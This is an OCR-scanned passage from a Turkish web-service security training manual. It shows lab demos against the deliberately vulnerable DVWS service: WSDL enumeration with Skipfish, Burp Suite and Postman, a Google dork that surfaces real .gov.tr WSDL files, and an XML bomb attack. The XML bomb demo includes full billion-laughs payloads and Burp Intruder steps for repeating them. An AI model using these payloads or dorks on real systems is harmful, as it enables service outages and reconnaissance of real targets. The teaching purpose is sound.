5039 0rg/ soap/envelope/* xnlns:dvws"dvwa:webservice >

(Not: Return_Price arguman degerleri dvws sayfasinin sundugu ekrandaki radio button’larin name
attribute’unlarindan elde edilmistir).
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Bu sekilde chrome eklentisi yoluyla wsdl dosyasi yilikleme ve hedef soap web servislerde giivenlik
denetimleri uygulama yapilabilir.

5.4 Web Servislerde Temel Aciklar, Somiirme Adimlar1 ve Onlemler

5.4.1 WSDL Enumeration (CWE-651, CAPEC-95)

Bu demoda bilgi ifsas1 agikligi ele alinacaktir. SOAP bir web servisin WSDL kapsam dosyasini
elde etme, oradan yola ¢ikarak hassas bir xml http istegi kesfetme ve bu istek iizerinden bilgi
toplama gosterilecektir.

Daha teknik ifadeyle hedef SOAP dvws web servisin kapsami “fuzzing” ile elde edilecektir ve elde
edilen kapsam ile soap web servise “enumeration” uygulanacaktir.

Kullanilan Materyaller

Ubuntu 18.04 LTS /! Fiziksel Makine
DVWS - Windows 10 Home Premium VM /I SOAP DVWS Web Servis Sanal Makine

Not: DVWS kasith zafiyetler iceren web uygulamasinin Windows 10 Home Premium’a
kurulumu i¢in bkz. EK > DVWS Web API'yi Windows’a (Windows 10 Home Premium
Siirimiine) Kurma.

Acikhik Agiklamasi

Siber giivenlik alaninda “enumeration” kavrami bir hedefin sistematik olarak bilgi almak ig¢in
yoklanmasi islemine denir. “Enumeration” hacking (ele gegirme) faaliyetlerinin kesif asamalarinda
kritik 6neme sahiptir. Hedef sistemde kullanicilar, aglar, sunucular, uygulama konfigurasyonlar
v.b.leri tizerinden bilgi toplamaya denir.

WSDL kavrami ise soap web servislerin kapsam dosyasini ifade eder. WSDL ile ne tiirden xml http
talepler soap web servise yapilabilecegi ve buna gére soap web servisten yanit alinabilecegi
bilgileri alinir. Eger soap web servisin kapsam dosyasi elimizde degilse tamamen karanliktayiz
demektir. Ciinkii ne tiirden xml http istek yapilabilecegini (http baslik olarak neler
kullanilabilecegini, http govdede hangi parametrelerin kullanilabilecegini,...vs.) bilmiyoruz. Soap
web servis sunucusunun kabul ettigi xml http isteklerinden biri ile mi istegi gonderdigimizi de
bilmiyoruz. Dolayisiyla WSDL bize bunlar1 6gretmektedir. WSDL var oldugunda “gecerli” bir
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istek yapabiliriz.
Acikhigin Coziimii

Oncelikle crawling ile hedef soap web servis haritalandirilir. Hedef soap web servise crawling
yapmak i¢in gesitli araglar vardir. Burada iki 6rnekten bahsedilecektir.

- Skipfish (licretsiz)
- Burpsuite Pro (icretli)

i) Skipfish
Ubuntu 18.04 LTS Terminal:
> skipfish -0 Desktop/result/ http://dvws_webservis_url/dvws/

Cikti:

File Edit View Search Terminal Help
:~$ skipfish -o Desktop/result/ http://192.168.56.103/dvws-ma

ter/U

Tarama Baglatilir

Pzt 11:48
L ]

9
b
W
L

)
£
]

[
(0
=l
[

Tarama Siirer
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Activities '@ Google Chrome ~

=l & zimbra: olustur x | @ DamnWulnerablewebse x @ skipfish-scanresultsbre % +
C (0 @ File | fhome/hefese/Desktop/result/indexhtml
= - B . - e - i ' ]

Crawl results - click to expand:

- 0 <4 hup:/i192.168.56.103 @3 ©72 021 @32 @195 €169
o H AUTIT, GEI0CIEG 20PN BUORNTETI, UTF-8 | show race ¢
P Document type overview - click to expand:
applicationfjavascript (9
application/pdf (1
b/ .
application/xhtml+xml (22}
imagelgif 20;
L imagelpng (19,
(o) imagefsvg+xmi (:
s textiess 2)
[ -7 texthtml 5
Va o textiplain (5,
- s textixml (3
fiserver hp Je (785 btes) t s
b 2 2. hitp://192.168.56. i e.php?wsdl (335¢
— T TYZ 168 50 10, T TIZ07 Byiee)
L

Issue type overview - click to expand:

@ PUT request accepted (1)

@ Query injection vector (2

€ Interesting server message (1¢)

© Interesting file (1)

& Incorrect or missing charset (higher risk) o)

@ Incorrect or missing MIME type (higher risk) (2

Tarama Sonucu Gelir

™ anomaiges m TCsiberCoe . Sty 4 whichacha . @ rompicas ) Mimamnsiin

T KL e

WSDL Elde Edilir

b) Burpsuite Pro
> BurpSuitePro
Dashboard -> New Scan -> Scan Type -> Crawl

-> URLSs To Scan -> http://dvws_webservis_url
-> 0K
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ensed to TUBITAK BILGEM Kamu Sert

Bup Project Intmuder  Repeater Window  Help

Dostbosrd Target Pray o quencer  Decoder  Comparer  logger  Baender  Pojecioptions  Useropios  Learm

Tasks @@ " tssue activity

7 Fiter { Rurving | | Prused | | Fnshed 7 Pt High | { Medum |  Low | info | | { Certain || Fim | Tentathe o
ST ———r— o8| | ™ Tme reen e ype

A links. Add tesn e, same domain and URLs inuite scope.

capuig D) °

0 responses queved

map

spomses processed

2. Live audit from Premy ol traffic)

At checks - passive e @ O O O
_— 0 reques
coprsing (D) .
Eventlog dbisory
v rie: (D p
T Souce ve
1424257 Hev 2022 L ey serice stariedon 127.0.01:8080
24T A w2022 Sute Runingas uper-ser, embeded rowsersandboxis

[©)

»
s

Memary: 62418 1

Bup  Project Intruder
Dashiboard

Target

Tasks
7 Flter | Runving | Pa o
1. Live passive crawl from Py B IS type

Addlinks. Additem itself, sl +]

copuring: (D)

Define the UL torscan, Burp el fegin crawling from these URLS, il p folders

PetpeI4192,168.56.1 0 cows/

2 Live sutt from Prary fal

Audt checks - passive

coparing: (D)
Event log

O ScanusingHTTPE HTTFS. () Scan using my specified prorocals

Time

242514 Nev2022 |

beocleutio i Detailzd scope configuration

licensed ta TUBITAK BILGEM Kamu Sertifik

Burp  Project Intruder  Repester Window Help

Taget  Proy  linder  Mepeater  Sequencer  Decoder  Comparer  Logger  Eender  Projectoptions  Useroptions  Leam
Tt CEET CEEIEY ©G0. sy
F Filter | Runeing || Paused || Finished | | | Livetask | Scan | | ntruder attack | 7 Filer | High || Medium | Low | Info | | | Certain || Firm P
Auae craces - passe ssues: g W
L U v wevuw # Task Time Adtion Issue type:
Orequests 0 erors)
cpuing @D 0
3 Cramlof192.168.56.103
Default configuration 44 requests D errorst
- §
Unauthenticated cravl. Estimatingtime remalning. Blocations crawled
Ao

Eventlog @2 =t
7 D G @ oo

Time Type e
WS UN202  efo Yourmachine specification does not appearto mect the
I R Crawistamed
MISUNNR  nfo Py sencestaried on 127.0.0.15080
HAHTUN0R  Infa Runeing s saper-use, embedded browser sandbo snc

Vamory 54,18 L 1 oisk ke

foe ——
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2.5 - Temporary Project - licensed to

Bup  Project Ieuder Repester Window  Help
Dastboard  Target  Fromy  lirwer  Repeater  Sequencer  Decoder  Comparmr  Logger  Exiender  Projecioptions  Useroptioms  Leam

Tasks @& S rssueaetvity

7 Fiter | Running | | Paused || Finished | | | Live task || Scan || intnuderamack | B 7 Filter | vigh | Medium | Low | Info | | | Certsin | Firm | | Tentatwe o
e Ll AL = Task Time Action Issue bype
Coprrng: D) Orequests 0 errors)

3. Craw of 192.168.56.103

Default configuration 557 requests 10 errors)

Craw Fiished. 8locatons crawled

Eventlog @ disory
Vet GED G @D oo p
14:25:42 14 Nov2022 Task3 [4] Your machine speclication does not sppearton

Memary: 1087M8 ] Disk 2KA 3

Project - licensed to TUBITAK BILG

peater Window  Help

Py Wmider  Bepeater  Sequencer  Decoder  Comparer  logger  Daender  Projectoptions  Useroptions  Leam
e definitons
VTR ot Found hems: iding S5, image amdgeneral om P E—————— ®
) onter s
i Host Method L Porams. | Sz
Attaching o owebss; i e tbwe ant
about GET  fcmuiAllacking%200 i
apginfe.php GET  ldwesiabou .
s GeT instr 200
3 " v o
GET Iewesiappinfo php 200
GET  dws/sboatstrapminjs 0
GET i 200
B sl cET T 200
st GET  ldwswinnbltesnCe. v 200
B wadenum GET lw v
e = Y
@ senicepiy
B wsdl
Inspectar =z X
serdce.php P
siboenb
spat Request attribates ER-
xt
. Request Headers 7 -
Response Headers 5~

O (g n & O 1426

Burp Suite Pro er . BILGEM Kamu Sertifikasyon Merkezi [sing|

Bup Project Intruder Repeater  Window  Help

Dashboard  Target  Prasy  Intmder  Repester  Sequencer  Decoder  Comparer  logger  Dender  Projectoptions  Useroptions  Leam
Site map Kope Issue definitions
Filter: Hising hidig €55, Image penses;
hitp/ 192,168 55103 _— -
[ dws
Y1 Host Wethod vaL Pams Staws o Lengh  MIMEtype Title
[ Attacking®20Damn%20vuinarabled% 20Webt hitpilHe2168.56103 GET Ibovesivulnerabilitieshws. ¥ 0 80 aML
0 about
[ sppinfophp
r
-
Wi = Ay
equest | Response —
L= ESH = B z
B GET fdvws/vulnerabilities/wsdlenun/service phpTwsdl HITR/L.L ®
e Host: 152,168,56.103 q
0 w2 Accept -Encoding: gzip, deflate =)
0 hitps:l/192.168 56103 4 Accept: =

Accept -Language: en-Us,en-G8;qm0.9,en;q=0.8
User-Agent: Hozilla/S.0 (Windows NT 10.0; WinGd: x64) AppleWebKit/S37,36 (KHTML, like
Gacko) Chrome/160.0.4895,127 Safari/537.35

Cannection: close

Cache-Contrel: maz-age=0

Referer: http://152.168.56.103/dvws/vulnerabilities /usdlenun/service. php

Q& («|> 0 matehes
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Cxee8dONm

Gorildigi gibi web servis crawling (haritalandirma) isleminde hem skipfish hem de burpsuite soap
web servisin kapsamini (wsdl url’ini) kesfetmistir.

Wsdl kesfi sonras1 wsdl url’sine gidip CTRLAS ile kapsam diske kaydedilecektir (services.xml) ve
herhangi bir web servis istemcisine import edilecektir. Bunun igin POSTMAN’i kullanalim.

Home Workspaces ~ APl Metwork ~  Explore Q. Search Postma [ = e | o0 @ Upgrade
2, My Workspace New  Import L B

No APiglyet

K Open Workspace Overview
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der Link Rawtext y APiGateway

Upload Files

Lear more ab W import formats supported

Modified

12Haz

8Ara 2021

8Kas

GEKI

8Kas

13Nis

Yesterday

3Mar

21Nis

Crs
4.3k 10 Mar
10.4k8  25Haz
s66bytes 23 Ara 2021
163bytes 4Kas
372bytes TEKi
600.6kB  7Eki
188bytes 8Kas
293bytes 135ub 2018
35bytes  11Haz2018

CEFERNEEEE R

Yesterday
19 May
5May
135ub 2018
TEKi

3Tem
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Postman

Import
Select flles to Import - 1/1 selected

NAME FORMAT IMPORT AS

DVWA Web Service wsDL11 APl

Generate collection from Imported APIs

Link this collection as

Test Suite

> Show advanced settings

™~

canes m

Bunun neticesinde web servisin tanidig1 xml http istekler listelenir.

Postman

Home Workspaces v APINetwork v  Explore Q_ Search Postman s 0 ® Upgrade v
2 My Workspace New Import  + o No En - B
5] + =
Cotec
~ DVWA Web Service
o
oo v [[[] draft
APis
~ [T DVWA Web Service
& > Return_price
Ervironments
> check_user_id
=) > Population
Mock Servers
Moritors
Fions
D)
History
I Open Workspace Overview
Create a new request:
B ® g
E) ©Onine QFindandReplace & Console @ Cookies & Capture requests @ Bootcamp @ Rumner [ Trash B ©

Kapsamdaki xml http istek paketleri ile soap web servis endpoint'lerine (u¢ noktalarina) istekler
yapilabilir hale gelinir. Listelenen xml http isteklerinden biri agildiginda "Body" sekmesine gelerek
istegin parametreleri kurcalanabilir ve girilecek degerler ile SEND sonrasi yanitlar gozlemlenebilir.
Ornegin return_price xml http isteginde iOS, veya Android girildiginde yanit olarak bir say
gelmektedir.
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Home Workspaces v~ APl Network Expl(a Q search Postman B Q0 @ Upgrade  ~

A My Workspace New  Import Return_price t e No Enviranment v
5] | = Return_price v e E]
v DVWA Web Service
o
o e o i m .
APls
] DVWA Web Service
Params  Authorization -request Script  Tests  Settings Cookies <>
Return_price
ERRe none @ form-data @ x-www-form-urlencoded @ raw @ binary @ GraphQL XML ~ Beautify
Return_price response
= > “oo check user_id T [T version="1.0" encoding="eti 5 7y 1
Mock Servers P N . @
N Population 2 |<soapiEnvelope xmlnsisoap="http://schemas.xnlsoap.oxg/s0ap/envelope/"> 0,
5 | <soap:Body>
4 <Return_priceRequest>
5 <name>string</name>
3 </Retuzn_priceRequest>
7 </soap:Body>
Flows 8 |</scap:Envelope>
3
o)
History
@ @onine Q Findang & console cquests © Bootcamp ) Rumner [ Trash B @
Home Workspaces ~  APINetwork ~  Explore Q Search Postman s 0@ Upgrade
2, My Workspace New  Import Return_price o 4+ e No Environment v
= Return_price Eisave v  soo 2]
~ DVWA Web Service
& v 00 dratt pOST v 1}}/dvwsuuinerabilities/wsdienumjservice. php a
Pls
v [ DVWA Web Service
Params  Authorization rs (10) Bodye Pre-requestScript  Tests  Settings Cookies >
~ Return_price —
none form-data x-www-form-urlencoded @ raw binary GraphQL XML v Beautify
Return_price response
=] > check_user_id 1 <7aml version="1.6" encoding="utf-8"7>
Mock Servers 2 <sompiEnvelope xminsison chemas. xmlsoap.org/soap/envelope/ > @
3 Population 2 <soap:Envelope xml ntep: / /sch 1s0ap. org/soap/envelope/ @
3 | <soap:Body>
4 <Return priceRequest> o
6 </Return_priceRequest>
7 </soap:Body>
8 </soap:Envelope>
9
B)
History
Body Cookies Headers (8) Test Results @ 2000k 40ms 8465 SaveResponse v
Pretty Raw Preview Visualize XML v S m Q
1 Branl version="1.0" encoding="150-8859-1"7 1
2 <SOAP-ENV:Envelope SOAP-ENV:encodingStyle='http://schemas. xnlsoap.org/soap/encoding/"
xmlns: SOAP-ENV="http: / /schy 1soap.oxg/soap/envelope/® xmlns :xsd="http://wiw.w3. oz4/2001/
XMLSchema" xmlns:xsi="http://wew.w3.0rg/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.
xnlsoap.org/soap/encoding/ ">
] <S0AP-ENV:Body>
1 <nsl:iRetumn, xmlns:ns1="http: //schemas.xnlsoap. oxg/soap/envelope/™>
s [estom et type=rrod Float o3 5/ zcturns]
6 </nsTTRetuzn_priceResponses
7 </SOAP-ENV: Body>
8 </SOAP-ENV:Envelope>
) @ Onine Q Findand & & console @ Coolies o Capturerequests @ Bootcamp [ Rumner i Trash B @
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Home Workspaces v  APINetwork ~  Explore Q. Search Postman @ 0@ Upgrade  +
A My Workspace New  Import Retumn_price o + e No Environment v B
O + | =T Return_price Elsave v oo B

~ DVWA Web Service
& v [ draft POST v {{DVWWA Web Service PortBaseUrl)H/dvws/vuinerabillties/wsdienum/service.php m 8
apis

~ [T DVWA Web Service
Params  Authorization  Headers (10) Bodye  Pre-request Script  Tests  Settings Cookies <>
El v Return_price —
Environments
none @ form-data  © x-www-form-urlencoded @ raw @ binan GraphQL XML ~ Beautin
Return_price response ¥ P v
e > check_user_id 1 <o ding="uts-8"2>
DEETeD 2 < //schemas. xmlsoap.ord/soap/envelope/ "> 0
N Populztion 2 http: //sch 1soap.org/soap/envelope/ 0%
a
Monitors 5 T
6
7 /s0ap: Body>
Flows 8  </soapiEnvelope>
History
Body Cookies Headers (8) Test Results © 2000k 23ms 8465 SaveResponse v
Pretty | Raw  Preview  Visiaize  xmL v S B Q
1%
< ngstyle="http://schenas. xnlsoap.org/soap/encoding/"
DEEp: //schemas. xnlsoap.ozg/soap/envelope/” Anlns:xsd="http://wm.w3.org/2001/
XMLSChema" xmlns:xsi="NEtp://mai.u3.01g/2601/XMLSchema-1nstance” xmlns: SOAP-ENC="http: //schenas.
xmlsoap.org/soap/encoding/ ">
3 <SOAP-ENV: Body> g
a <ns1:Return priceResponse xmlns:nsi="http://scWMas.xmlsoap. org/soap/envelope/">
[[cxetum xsi:type="xsaitiont™>82 5</retun)
6 </nETTRETTTpET
7 </SOAP-ENV:Body>
& </SOAP-ENV:Envelope>
ED @Online QFindand Replace B Console @ Cookies " Capture requests  © Bootcamp ) Runner [ Trash [l @

Crawling ile kesfedilen soap web servis kapsam dosyasinda farkli xml http istekleri de vardir.
Bunlar incelendiginde check user information adli bir xml http istegi gdze carpacaktir. Isminden
anlasildigr kadariyla kullanici adiyla bir seyler sorgulayan ve dondiiren bir xml http istegi.
Dolayisiyla burada kritik bir seyler vardir diisiincesiyle bu xml http istegi iizerine odaklanilir.

Home Workspaces ~  APINetwork ~  Explore Q search Postman @ 0@ vegae -
& My Workspace New  Import check user_id b No Environment v B

o] t | = check_user_id v e B
Colectons

~ DVWA Web Service

’ S v 0 oraft POST ~ {{DVWA Web Service PortBaselrl}}/dvws/vulnerabilities/wsdlenum/service.php m S|
#Pls

¥ [ DVWA Web Service

Params  Authorization  Headers (10)  Bodye Pre-requestScript  Tests  Settings Cookies  </>
SR | JR
Envionments none @ form-data @ x-www-form-urlencoded @ raw @ binary @ GraphQL XML - Beautify
> check user_id
B Popuration 1 ersion="1.0" encoding="ut1-8" 73

nvelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> @

Click S

Bu dikkate deger istek govdesinde bir kullanici adi almaktadir. Buraya denemeler yapilabilir.
Ornegin uygulama diinyasinda sik kullanilan ve yetkisi en yiiksek olarak bilinen root kullanici ad:
girilebilir.

Sayfa 86 / 167



Yanit dondiigiinde isabetli bir deneme yapildig1 ve en yiiksek haklardaki kullanicinin bilgilerinin
dondiigi tecriibe edilecektir.

Acikhgm Onlemi

WSDL enumeration agiklik ¢oziimiinden anlasilacagi tizere WSDL kapsamini public olarak
paylagmak saldirganin normalde géremeyecegi endpoint'leri (ug noktalar1) gormesi demek olacaktir
ve bu aciklik ¢oziimiinde oldugu gibi fikir yiiriiterek bilgi toplayabilecektir, veya sizma faaliyeti

gerceklestirebilecektir.

Bu nedenle web servislerde kapsam dosyalar1 public (herkes) erisilebilir olmamalidir. Http Digest
Authentication ile parola kontrollii erigilebilir olmalidir.

Ek

Google dork kullanarak internette var olan internete agik web servislerin wsdl dosyasi google
arama sonuglarinda index'lenmisse kontrolii ve kesfi 6rnek olarak soyle yapilabilir:

# Google Arama Moturuna Hedef Web Servisin WSDL
# Dosyast Arama Sonuglarinda Index'lenmis mi Diye Soralim.

Google Arama Kutusu:

site:ilgilisite.com filetype:wsdl wsdl

# Google Arama Motoruna .gov.tr ile Biten Web Sitelerin

# WSDL Dosyas1 Arama Sonuglarinda Index'lenmis mi Diye

# Soralim.

Google Arama Kutusu:
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site:*.gov.tr filetype:wsdl wsdl

Cikt1:
Go g|e site-".gov.r filetype:wsdl wsdl X m $ ® Q

Q Tumi @ Gérseller [ Videolar @ Haberler [ Kitaplar ~  Daha fazla Araclar
Yaklagik 2 sonug bulundu (0,27 saniye)

o hitps:/ & gov.ir> SaglikTesisiRecetelslemleri
https:// i g /eczanews/services/Sag...

o hitps: govirs wsdl > Service v
https:/h Xt b gV 2/wsdlfSer...
Size en alakall sonuclarin gésteriimesi icin yukanda gorintilenen 2 sonuca benzer bazi
girisler crkarildi.

Isterseniz, aramayi cikarilan sonuclaria birlikte tekrarfayabilirsiniz.

Sonug¢

Bu demoda bilgi ifsasi agiklig1 yoluyla bilgi toplama (enumeration) gosterilmistir.

5.4.2 XML Bomb (CWE-776, CAPEC-197)

Bu demoda XML bomb (diger adiyla; XML Entity Expansion, diger adiyla; A Billion Laughs)
saldiris1  gosterilecektir ve hedef soap web servis sunucusunun servis dist birakilmasi
uygulanacaktir.

Kullanilan Materyaller
Ubuntu 18.04 LTS Il Fiziksel Makine
Burpsuite Pro - Kali Linux 2022 // Saldirgan Sanal Makine

DVWS - Windows 10 Home Premium VM // Hedef SOAP DVWS
// Web Servis Sanal Makine

Not 3: DVWS kasith zafiyetler igeren web uygulamasinin Windows 10 Home Premium’a
kurulumu i¢in bkz. EK > DVWS Web API’yi Windows’a (Windows 10 Home Premium
Siriimiine) Kurma.

Acikhik Agiklamasi

XML Bomb acikligt XML spesifikasyonunun XML dokiimanlarina birbirlerini referans eden
entity’ler tanimlanmasina izin veriyor olmast nedeniyle ortaya ¢ikar. Eger Xml dokiimaninda
birbirini referans eden entity’ler dikkate deger bir derinlikte recursive (O6zyinelemeli) olarak
tamimlanirsa zafiyetli XML Parser web sunucuda exponential (iistel) derecede artan CPU ve RAM
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tiikketimine gider ve bu durum web servisin servis dist kalmasi ile sonuglanir.
En popiiler XML Bomb saldir1 payload drnegi “billion laughs” su sekildedir:

<?xml version="1.0"?>
<IDOCTYPE root [

<IENTITY ha "Ha I">
<IENTITY ha2 "&ha; &ha;">
<IENTITY ha3 "&ha2; &ha2;">
<IENTITY ha4 "&ha3; &ha3;">
<IENTITY ha5 "&ha4; &ha4;">

<IENTITY ha256 "&ha255; &ha255;">
1>

<root>&ha256;</root>
Bir diger popiiler XML Bomb saldir1 payload 6rnegi “Quadratic Blowup” ise su sekildedir:

<?xml version="1.0"?>

<IDOCTYPE foobar [<!ENTITY x "AAAAA... [100KB kadar] ... AAAA">]>
<root>

<hi>&x;&x;....[30000 adet] ... &x;&x;</hi>

</root>

Bu 6rnek sablonlardaki saldir1 payload’larindan biri tekrarli olarak hedef web servise yollandiginda
zafiyetli XML parser’lar CPU ve RAM’i agir1 tiikketmeleri sonucu sunucuyu servis digi birakirlar ve
istemcilerden web servise erisimler durur.

Acikhigin Coziimii

Oncelikle soap dvws web servisinin consumer’1 (tiiketicisi) olan dvws web uygulamasindaki xml
bomb zafiyetli web sayfaya g6z atalim.
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[O XML External Entity x Wl v

& C A Notsecure | 192.168.56.103

nerabilities/xmlbi

XML Bomb Denial-of-Service

XML bomb is a exponential entity expansion attack that targets XML parsers. An XML
bomb attack occurs when a dangerous formed XML data are composed and sent with the
intent of crashing a vulnerable server.

When the XML parser tries to process an XML bomb, the data feeds on itself and grows
exponentially. If enough malicous XML is processed by the server, it can cause the server
to crash.

More Information

je.mitre.org/data/defin tml
oapui.orgisecuri rity-scans/xml-bomb.html

The following form takes any XML data and parses the data into an array structure.

<testrexample<ftest> H Submit |

/

Aciklikli Sayfa - 1

[O XML External Entity x W v

& C A Notsecure | 192.168.56.103/dvws/vulnerabilities/xmlbomb/process.php < % *» A 0 =

XML Bomb Denial-of-Service

The following array was created from your XML data

Array ( [TEST] == Array ( [0] == 0) ) Vals array Array ( [0] => Array ( [tag] => TEST [type]
=> complete [level] => 1 [value] => example ) )

The server CPU usage is 78.536 Kb

Aciklikli Sayfa - 2

Gortiildiigii gibi sayfa bir xml verisi almaktadir ve o xml verisinde arkada islemler yapmaktadir.
Daha sonra ne kadar cpu tiiketildigine dair bir bilgi yansitmaktadir.

Simdi bu sayfaya xml bomb saldiris1 uygulayalim ve web servisi servis dis1 birakalim.

a) Saldiriya kisa siirede varabilmek i¢in 6ncelikle DVWS - Windows 10 Home Premium
sanal makine kurulumumuzun donanimsal 6zelliklerini diisiirelim.
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DVWS - Windows 10 Home Premium x64 - Settings

General ‘ System

System

Motherboard | Processor A::e!eratiun‘

S ————_ TP Y Y-S

4 MB 16384 MB

Display

| Base Memory:

Storage

Audio Boot Order: Floppy

Network

. Hard Disk
serial Ports

Chipset: \W
Pointing Device: \m
Extended Features: nable IfO APIC
["| Enable EFI (special OSes only)

[ Hardware Clock in UTC Time

DVWS - Windows 10 Home Premium x64 - Settings

General | System

f I
Mntherhnarl:l | Processor |IA::e!eratiun

Display

Processor(s): = = =
1CPU

Storage

' Execution Cap: &
Audio 1%

Network

Iéended Features: | | Enable PAE/NX

Serial Ports || Enable Nested VT-x/AMD-V

A0 P& EN

b) Zafiyetli web sayfaya gelinir ve web sayfanin sundugu butona tiklandiginda olusan
normal http talebi Burpsuite ile araya girip yakalanir. Http talebi Burpsuite’in Repeater
sekmesine gonderilir.

JBITAK BILGEM K

Burp  Project  Intruder Window  Help
Dastbosrd Intrudsr  Repester  Sequencer  Decoder  Comparer  Legger  Diander  Prejectoplions  Usereptions  Leamn
hetshistory  Options.
Tmage snd general binsry coment ‘@
W st Wethog e Faams Exersion T Commee TS " Cookées e
 ipidenis g aer v manzers 15432415
3 s e wr s ndecatt o2 56703 froveetrit
5 s eseion G Moo @ Objet ot funct s se0s s
& nopesss G DamaVulnrabi Webse 12 sss6103 IsansaN
5 opiioa teassios R r— i 12 1s856103 1545415
to upirion 18 ss 03 G fdwesipmings i; 10216856103 15435415
§ opirion eass 103 GET Idwwinerabillesmbonimibo oo X0 ExernlEnity 152 16855103 154356150
2 e ROST fdmawhersbiliesm v e i Bl ity 1218858103
B oprios ea se10) FOST  Jdwwinersbilbestmibombipreers ¥ e 15216854103
1 oo es 6103 boST Mewawinersbilbeshmibombiprcess ¥ |4 10216856103 tessassn
15 hpilcients2 googhe com GET  Mimafsmentos TS 0GIHANS.  f manass 16425115,
o= =
Request Scan Response napector
o [l v B 0 = Dopasirescn [+, CEEET - Regquestatibutes D -
Doadthescan
1 POST /dvws/wulnerabiliti 1 HTTP/L,1 200 OK
 host: 152,168,586, 103 Prea— el 2 Gae: Tue. 15 Mor 2022 13/12:05 GHT Request Sody Farameters e
R A e T Serert Seachei2e. 23 (a3 GperssL 0,20 P38
S Upgrade- InFecure-Requests Send to Sequencer 5 Content-Length: 2788 Request Headers 7 v
& Origin: http://192.168. 56.103 6 Conmection: close
7 Content-Type: apmlicationfe-  SerdtoComparer 7 Content-Type: text/htsl Response Headers E v
S User-dgent: Mozilla/5.0 (Wind  sendioDecoder LemebKit /537,36 8
(W4TML, Like Gecko) Chrome/1C 5 <1DOCTYPE html:
o Aceept : Show response inbrowser 10 htal Lang="en"s
Yecrhial, apal e e 3 perait .
bo. ieage/apng. */*:q=0. 8, appli o9 12
L6 Referers mitn /(193 168510 Engupemensionts > faatbomb.php  f13 chesds
11 Accept -Encoding: gzip. deflat]
12 Accept-Language: =n-US,en;g=q  COPYLAL <meta charset="utf-2'>
= connection: close Copyas cur command <mata hUTp-aquive"X-UA-Corpatible" content=-IE-edge >
b 17 ‘arta naneerrievport® contemtarvidthadevicevidth, initisl-scalesl’s
[S name-3Ctesti3Eesamplesaciort  Copylefile 18 <meta name="description® content=""x
- 15 <meta nemeauthor- contente-"s
teiea T aite
L External Entity
: <nittes
' 23 «i-- Buatstrap Core OS5 --»
Faste v 24 <link hrefs*../../css/bogtstrag.min.css® type=‘text/css® rela®
Massage editor documentation strleshest=>
D & o nmaices | ({5} &> 0 matches
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¢) Repeater sekmesindeki normal http isteginde yer alan metin kutusu girdi parametresi
name="" 'e web uygulamanin koydugu 6rnek xml verisi yerine xml bomb payload'u
konulur.

XML Bomb Payload’u:

<?xml version="1.0"?>

<IDOCTYPE lolz [

<IENTITY lol "lol">

<IELEMENT lolz (#PCDATA)>

<IENTITY loll "&lol;&lol;&lol; &lol; &lol; &lol; &lol; &lol; &lol; &lol;"">

<IENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&Iol1;&lol1;&loll;&loll;&loll;">
<IENTITY lol3 "&lol2;&l0l2;&l012;&l0l2; &l0l2; &I0l2; &l0l2; &lol2; &l0l2; &l0l2;">
<IENTITY lol4 "&Iol3;&lol3;&lol3;&I013;&I013;&l013; &l013;&I013;&l013; &I013; ">
<IENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4; &lol4; &lol4; &lol4; &lol4; &lol4;">
<IENTITY lol6 "&Ilol5;&Iol5;&l0l5;&l0l15;&l015;&l015; &l0l5; &lol5;&I0l5; &lol5;">
<IENTITY lol7 "&Ilol6;&I016;&I016;&I1016;&1016;&I016;&I1016; &1016;&I016; &I016;">
<IENTITY lol8 "&Iol7;&Iol7;&Iol7;&I017;&I0l7;&Ilol7;&I0l7;&I0l7;&Ilol7;&Iol 7;">
<IENTITY lol9 "&Ilol8;&I018;&I0l8;&I1018;&1018;&I018; &I1018; &1018;&I018; &I018;">
1>

<lolz>&lol9;</lolz>
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e ed o TUBITAX B e
Iinder Wi Help
Target Bl - el
= < Torget bpro2 6858108 7 | KTTen
O= =
e B8 v [> TR - K s
POST fibvws/wilnerabilitics/xsl bonb/pracess.phy MITP/L.1 WITP1 200 ]
Host: 152.168.56.10¢ Date: Tue, 15 Now 2022 1 T 19
Content -Length, Serutr. Apacne/3.3.25 (Wind2) OpenSSL/L.0.3h PHE/S.5.38 ]
1 N-Powered-By: PHP/S, 5.3t -
1641 HoplemetKit /97,36 (RHTHL. Like Geckel
Vert/htal application/htel-al apglicationfasl;am0.5, nage/avif  inage /vep, inage/apng. +/4; =0
8, application/sioned-exchange, v=b3: a=0.
reterer 183 168, 6. 103/ dvon/volnerabil ties xalbosb/axlboab. php headn
hecept -Encoding: grip, deflate 4
2 hecept-Language: Sn-US, e e0.8
Connaction: close A-canpatible contante"IE-sdge>
vt acthar cantentaren
"&lol :&lel ;&lel ;&lol:Elol:Elal: kLol :6lol ;Glal :&lel ;"= ¥ML External Entity
Lol U611 Gal 6Lk Aot Lol Gl L dlals bl . iies
“slol2:elol2:alol2: 6lel2; slol2:slol2: 6l ol 2: 616 2; 6lal 2. >
: oS et el 6lot ;o1 Saad o «1-- Bootstrap Core c58 -->
] . | ik hrefar o/, /css/baotatrap.ain.css” types*text/css® rela'stylesheet's
Jreaipiipe .
“slols:slols: - <.~ CUStom CSS -->
N L7; &lal ‘ of > <link hrefs®. ./ ./css/sisple-sidebar css® types“tert/css® rels“stylesheet®s
ZIENTITY 1618 *L1618; CLoLs: a1, S161 8, Lol B, ELoL 8. ELaL s, 1ol 8; o181 Lol 81
[<Lolzsklole; «/lalzo ody>
PAYLOAD
= '
Blel> omatches Ormacbes
Done T

Test amagli http istegi Send ile bir defalik génderilebilir.

d) Repeater’daki xml bomb payload’lu istek o haliyle Burpsuite Intruder sekmesine

gonderilir.

a TUBITAK BIL

Bup POt e Repaater Window  Help
Dushboard  Torgel  Pomy  Iwder  Repealer  Sequescer  Decodst  Gompar  Logger  Ddesdsr  Pioecloplions  Usersplions  Leam
1x | 2x
=1 < Targee bR £ e (3)
qus on
- 8 o [ R - H
POST /dvws/vulnerabilities/sslbosh/process.php HTTP/1.1 HTTP/1.1 200 0K E
Host: 182,169, 56.103 Date: Tue, 15 Nov 2022 13:41:25 GHT q
Contant-Length: 823 - Seruar: Apacher2.4.73 (Win3z) openssi/l.o,zh PS5, 38 ]
Cache - Cont ral 3 -age=0. i M-Powered-By: PHP/5.5.38 =
5 Upgrade- Insecura -Requests | 1 Do passie nt;
origin: htte://192,168,56,103 Do sctive sc36 Cannection: clos.
Content-Type: appt n/x-wa- Farm-ur] ; Content-Type: tert /il
